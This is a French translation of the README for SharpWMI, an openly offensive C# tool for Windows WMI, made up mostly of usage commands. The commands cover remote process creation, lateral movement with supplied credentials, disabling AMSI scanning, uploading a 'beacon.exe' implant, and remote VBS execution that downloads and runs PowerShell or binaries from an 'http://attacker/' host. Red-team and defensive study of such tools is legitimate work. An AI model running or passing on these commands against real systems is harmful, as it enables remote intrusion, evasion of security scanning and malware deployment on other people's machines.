
SharpWMI est une implémentation en C# de diverses fonctionnalités WMI.
SharpWMI est une implémentation en C# de diverses fonctionnalités WMI. Cela inclut les requêtes WMI locales/distance, la création de processus WMI à distance via win32_process, et l'exécution à distance de VBS arbitraire via les abonnements aux événements WMI. Les identifiants alternatifs sont également pris en charge pour les méthodes à distance.
@harmj0y est l'auteur principal.
SharpWMI est sous licence BSD 3-Clause.
Énumération du système local :
SharpWMI.exe action=query query=""select * from win32_service"" [namespace=BLAH]
Énumération du système distant :
SharpWMI.exe action=query [computername=HOST1[,HOST2,...]] query=""select * from win32_service"" [namespace=BLAH]
Énumération des utilisateurs connectés à distance :
SharpWMI.exe action=loggedon [computername=HOST1[,HOST2,...]]
Création de processus à distance :
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
Exécution de VBS à distance :
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
Téléchargement de fichier via WMI :
SharpWMI.exe action=upload [computername=HOST[,HOST2,...]] source=""C:\\source\\file.exe"" dest=""C:\\temp\\dest-file.exe"" [amsi=disable]
Énumération du pare-feu distant :
SharpWMI.exe action=firewall computername=HOST1[,HOST2,...]
Lister les processus :
SharpWMI.exe action=ps [computername=HOST[,HOST2,...]]
Terminer un processus (premier trouvé) :
SharpWMI.exe action=terminate process=PID|name [computername=HOST[,HOST2,...]]
Obtenir les variables d'environnement (toutes si le nom n'est pas donné) :
SharpWMI.exe action=getenv [name=VariableName] [computername=HOST[,HOST2,...]]
Définir une variable d'environnement :
SharpWMI.exe action=setenv name=VariableName value=VariableValue [computername=HOST[,HOST2,...]]
Supprimer une variable d'environnement :
SharpWMI.exe action=delenv name=VariableName [computername=HOST[,HOST2,...]]
Installer un fichier MSI :
SharpWMI.exe action=install [computername=HOST[,HOST2,...]] path=""C:\\temp\\installer.msi"" [amsi=disable]
REMARQUE :
- Toute fonction à distance accepte aussi un ""username=DOMAIN\\user"" ""password=Password123!"" optionnel.
- Si computername n'est pas spécifié, la cible est localhost.
L'option result=true sur action=exec (ou action=create) fait que SharpWMI renvoie la sortie de la commande après la création du processus WMI distant. Cela fonctionne en stockant la sortie de la commande dans une instance d'un objet WMI arbitraire. Cet objet est ensuite récupéré par l'appelant et restauré à sa valeur d'origine.
L'action executevbs a été retravaillée par rapport à la version originale de SharpWMI. La spécification de script définie dans [script-specification] offre les méthodes suivantes pour pointer cet outil vers du code VBS cible :
A) Exécute une commande OS via un code VBS prédéfini :
SharpWMI.exe action=executevbs [...] command="notepad.exe"
B) Télécharge des commandes PowerShell depuis une URL et les exécute depuis VBS via l'entrée standard de PowerShell :
SharpWMI.exe action=executevbs [...] url="http://attacker/myscript.ps1"
C) Télécharge un fichier binaire depuis une URL donnée, le stocke dans un chemin spécifié puis l'exécute :
url="SOURCE_URL,TARGET_PATH"
SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe"
D) Télécharge un fichier binaire depuis une URL donnée, le stocke dans un chemin spécifié puis exécute une commande arbitraire :
url="SOURCE_URL,TARGET_PATH"
SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe" command="%TEMP%\bar.exe -some -parameters"
E) Lit un script VBS depuis un fichier et l'exécute :
SharpWMI.exe action=executevbs [...] script="myscript.vbs"
F) Exécute un script VBS donné textuellement :
SharpWMI.exe action=executevbs [...] script="CreateObject(\\"WScript.Shell\\").Run(\\"notepad.exe\\")"
G) Décode en Base64 une chaîne d'entrée représentant un script VBS encodé et l'exécute sur la machine distante :
SharpWMI.exe action=executevbs [...] scriptb64="Q3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIi[...]"
H) Lit le contenu d'un fichier donné, le décode en Base64 puis l'exécute sur la machine cible :
SharpWMI.exe action=executevbs [...] scriptb64="myscript.vbs.b64"
Enfin, l'action 'executevbs' peut avoir des [time-specs] supplémentaires définis en secondes - ils spécifient les délais de déclenchement et d'attente du script :
SharpWMI.exe action=executevbs [...] trigger=5 timeout=10
SharpWMI.exe action=query query=""select * from win32_process""
SharpWMI.exe action=query query=""SELECT * FROM AntiVirusProduct"" namespace=""root\\SecurityCenter2""
SharpWMI.exe action=loggedon computername=primary.testlab.local
SharpWMI.exe action=query computername=primary.testlab.local query=""select * from win32_service""
SharpWMI.exe action=query computername=primary,secondary query=""select * from win32_process""
SharpWMI.exe action=exec computername=primary.testlab.local command=""powershell.exe -enc ZQBj...""
SharpWMI.exe action=exec computername=primary.testlab.local command=""whoami"" result=true amsi=disable
SharpWMI.exe action=executevbs computername=primary.testlab.local command=""notepad.exe"" eventname=""MyLittleEvent"" amsi=disable
SharpWMI.exe action=executevbs computername=primary.testlab.local username=""TESTLAB\\harmj0y"" password=""Password123!""
SharpWMI.exe action=upload computername=primary.testlab.local source=""beacon.exe"" dest=""C:\\Windows\\temp\\foo.exe"" amsi=disable
SharpWMI.exe action=terminate computername=primary.testlab.local process=explorer
SharpWMI.exe action=getenv name=PATH computername=primary.testlab.local
SharpWMI.exe action=setenv name=FOO value=""BAR"" computername=primary.testlab.local
SharpWMI.exe action=delenv name=FOO computername=primary.testlab.local
SharpWMI.exe action=install computername=primary.testlab.local path=""C:\\temp\\installer.msi""
Obtenir des informations de type netstat TCP local depuis une machine Windows 10 distante :
SharpWMI.exe action=query computername=COMPUTER query="Select LocalPort,OwningProcess from MSFT_NetTCPConnection" namespace="ROOT\StandardCIMV2"
Nous ne prévoyons pas de publier de binaires pour SharpWMI, vous devrez donc le compiler vous-même :)
SharpWMI a été construit avec .NET 3.5 et est compatible avec Visual Studio 2015 Community Edition. Ouvrez simplement le fichier .sln du projet, choisissez "release", et compilez.
| Contribution | Auteur |
|---|
| Implémentation originale de SharpWMI | Will Schroeder @harmj0y |
| Idée de sortie d'exécution de code WMI | Evi1cg @Ridter |
| Code d'évasion AMSI tiré de SharpMove | Steven Flores 0xthirteen |
| Améliorations, flexibilité VBS, téléchargement de fichier | Mariusz B. / mgeeky @mariuszbit |
| Installation de fichiers MSI | Justin Bui @slyd0g |